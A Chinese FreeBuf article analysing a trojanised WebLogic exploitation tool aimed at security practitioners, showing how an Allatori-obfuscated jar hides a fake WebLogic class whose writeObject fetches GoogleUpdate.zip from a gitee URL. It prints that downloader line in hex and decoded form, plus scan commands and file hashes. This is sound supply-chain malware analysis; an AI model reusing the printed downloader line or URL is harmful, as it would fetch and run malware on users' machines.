freeBuf
主站

分類

漏洞 工具 極客 Web安全 系統安全 網絡安全 無線安全 設備/客戶端安全 數據安全 安全管理 企業安全 工控安全

特色

頭條 人物志 活動 視頻 觀點 招聘 報告 資訊 區塊鏈安全 標準與合規 容器安全 公開課

官方公眾號企業安全新浪微博

FreeBuf.COM網絡安全行業門戶,每日發布專業的安全資訊、技術剖析。

FreeBuf+小程序

FreeBuf+小程序

匿名帖子中藏“馬”,針對某特殊群體的供應鏈打擊
2021-04-23 15:36:10

背景

大概在4月19號,我們注意到某步社區中有一個匿名帖子,貼子地址

https://m.threatbook.cn/detail/6192

貼子內容如下

1619162998_608277765490a3b56a8ba.png!small?1619163000133

其中提到了一個weblogic漏洞利用工具,項目地址是https://github.com/DesaiParekh/weblogic_cmd_plus (截至發文,項目已被刪除)

1619163021_6082778d9ceee4b3fc6f2.png!small?1619163023680

本著學習的精神去看了項目,但是發現這個項目并沒有把源碼公開,只是分享了一個工具

下載工具到本地,是一個壓縮包

1619163042_608277a2b025db43ab510.png!small?1619163043387

解壓壓縮包,內容如下

1619163054_608277aef0ddf75a93336.png!small?1619163055590

查看項目中的教程,工具用法應該是

java -jar weblogic_cmd_plus.jar -scanip 127.0.0.1 -scanport 7001 -scan

教程見下圖

1619163110_608277e6896f19cffc521.png!small?1619163112400

把項目脫到idea中,反編譯jar包,隨便查看了一些class文件,發現看不到具體的源碼,只能看到如下圖這種類似類聲明的內容

1619163124_608277f4db183a2e6db01.png!small?1619163125717

因為這個T3VulnerabilityCheck.class大概有13k,所以內容不太可能是這種類聲明

1619163156_6082781496fb96c384dd2.png!small?1619163157167

嘗試使用javap查看對應字節碼,如下圖

1619163167_6082781fbf115d6c8c7a1.png!small?1619163169216

查看字節碼還是有很多內容的,觀察了一會,我們注意到一個頻繁出現的字符串

ALLATORIxDEMO

在互聯網搜索一下這個字符串,發現這個字符串是一款java混淆工具加密后特有的內容

這款java混淆工具名字叫Allatori,官網是http://www.allatori.com/

我們開始好奇為什么這個工具要使用混淆工具混淆代碼,難道這里有什么不可告人的秘密嘛?

(當然我們如果直接運行工具也可以看到使用了Allatori,因為工具運行后直接就輸出了Allatori)

樣本測試

把工具放到虛擬機里運行,打開各種分析工具,開始分析這個jar包的行為

嘗試各種命令運行,當使用

java -jar weblogic_cmd_plus.jar -scanip 192.168.0.1/24 -scanport 7001 -scan -t 20

執行以后,發現一個有意思的現象

1619163247_6082786f49b915b1d3c21.png!small?1619163255153

怎么突然多了個GoogleUpdate.exe?

1619163261_6082787d9f4f51b192050.png!small?1619163262218

好家伙,你一個GoogleUpdate.exe用的騰訊的簽名?難道說?

樣本分析

在上一步已經明確了這個工具有問題,這里我們開始分析這個jar包到底是如何工作的

因為在idea中反編譯效果太差,我一度想硬扣一下字節碼把反編譯工具換成jadx以后,內容正常了

代碼中很多地方都使用了Allatori進行加密,我在想是不是應該去解密一下,在網上找到一篇介紹Allatori如何加密的,學習了一下,地址如下https://zhuanlan.zhihu.com/p/342386478

文章中提到Allatori大概有兩種加密方式,一種是強加密方式,會通過調用堆棧獲取到當前執行的類、方法名(不太嚴謹)作為解密的依據,另外一種是簡單的運算,算法比較簡單

找了一會解密Allatori的工具,用了幾個都失敗了,不過這里工具混淆的內容相對好一點,代碼不解密其實也可以看出來一些實現的邏輯

正好剛才我們在樣本測試的時候發現,這個工具的惡意代碼觸發邏輯可能是和ip有關,我們就重點關注一下ip處理相關的類

發現com.supeream.utils.IpUtil這個類可能有一些問題

第一,他在import的時候居然引用了java.io.ObjectOutputStream,java.lang.reflect.Constructor,sun.misc.Unsafe這三個類

第二,在getIpFromString這個方法里使用了Class.forName和writeObject

1619163316_608278b403df9b359dd71.png!small?1619163317019

因為加密和編碼的問題,我們看不到具體是加載了什么類

其實這種加密我們在代碼里都可以找到對應解密方式,本地自己實現一個解密也很快,查看了我們可能會重點關注的類以后,發現那些類都使用的強加密方式(堆棧方式),思考了一會決定不在加解密下功夫,嘗試debug一下這個jar包

在idea里用幾個方法debug都失敗了(可能是我環境沒配置對),無語,換個思路

想了一下還是用最古老的方法debug最穩當

使用jdb來debug這個jar包

jar運行開啟debug模式

java -Xdebug -Xrunjdwp:transport=dt_socket,address=javadebug,server=y,suspend=y -jar weblogic_cmd_plus.jar -scanip 192.168.0.1/24 -scanport 7001 -scan -t 20

使用jdb連接(這里的port是隨機的,我這里直接粘貼我的配置了)

jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=49226

在main方法打一個斷點,然后運行

stop in com.supeream.Main.main

run

開始慢慢debug

1619163720_60827a480bfd2596c6761.png!small?1619163720808

大概執行了無數次step以后,我終于想起來我是來解密class.forName到底是加載什么類的

重新debug,設置斷點

stop in com.supeream.utils.IpUtil.getIpFromString

run

step了一會,我們進入到com.supeream.serial.BytesOperation這個類

現在我們可以使用這個類的hexStringToString在jdb中解碼了

eval com.supeream.serial.BytesOperation.hexStringToString("7765626c6f6769632e6a3265652e64657363726970746f722e496e746572636570746f724265616e496d706c")

解碼后內容是weblogic.j2ee.descriptor.InterceptorBeanImpl

1619163777_60827a8167f24026b8875.png!small?1619163778119

當然,如果繼續跟代碼,也會進入到weblogic.j2ee.descriptor.InterceptorBeanImpl這個類中

使用jadx打開weblogic.j2ee.descriptor.InterceptorBeanImpl這個類,我差點笑出了聲,如果真的是weblogic的類,會import一個com.github.kevinsawicki.http.HttpRequest嘛?

1619163795_60827a9323eb458988da1.png!small?1619163798554

結合之前getIpFromString出現過的writeObject,我想起來一個java反序列化中的一個小知識點

當對某一個類進行序列化的時候,如果目標類自己實現了writeObject,會調用目標類自己實現的writeObject

根據這個小知識點,我在InterceptorBeanImpl里搜索一下writeObject

bingo!?

1619163821_60827aada279d54e09243.png!small?1619163823705

仔細觀察這個writeObject,發現他使用com.github.kevinsawicki.http.HttpRequet.get去下載了一個文件

HttpRequest.get(hexStringToString("68747470733a2f2f67697465652e636f6d2f666f786b696e673030372f666f7872617069642d6b696e672f6174746163685f66696c65732f3637313939372f646f776e6c6f61642f476f6f676c655570646174652e7a6970")).receive(new File(hexStringToString2));

本地實現一下這個hexStringToString

解碼內容如下

1619163855_60827acf3e8778172e3f1.png!small?1619163856658

https://gitee.com/foxking007/foxrapid-king/attach_files/671997/download/GoogleUpdate.zip

(截至發稿,文件已失效)

這個文件名符合我們在樣本測試階段觀察到的事實

如果誰感興趣后續動作可以自己去跟一下代碼邏輯,我們到這里就不再繼續分析了

總的來說,如果不是好奇他這個項目是怎么實現的,很難發現這個工具其實是一個馬

請各位同行嚴查自己、部門、朋友有沒有下載、運行過這個工具

樣本信息:

名稱md5
weblogic_cmd_plus.zip9dc3224bdb48a2733cb10c9b6a6d728f
weblogic_cmd_plus.jar9cbf87345b26b8a0c915fccae1bae08a
GoogleUpdate.exe42165a4e1c4ec725ef87eaf50f0dd6a9
QMLogEx.dll31fb6e738e5ddd3d6fe686f6e1ca401c

作者:Dm、Superdong、毀三觀大人、l1nk3r、Five star

本文作者:, 轉載請注明來自FreeBuf.COM

# 木馬 # 供應鏈攻擊 # 網絡安全
被以下專輯收錄,發現更多精彩內容
+ 收入我的專輯
評論 按熱度排序

登錄/注冊后在FreeBuf發布內容哦

相關推薦
  • 0 文章數
  • 0 評論數
  • 0 關注者
文章目錄
登錄 / 注冊后在FreeBuf發布內容哦
收入專輯
四月天小说网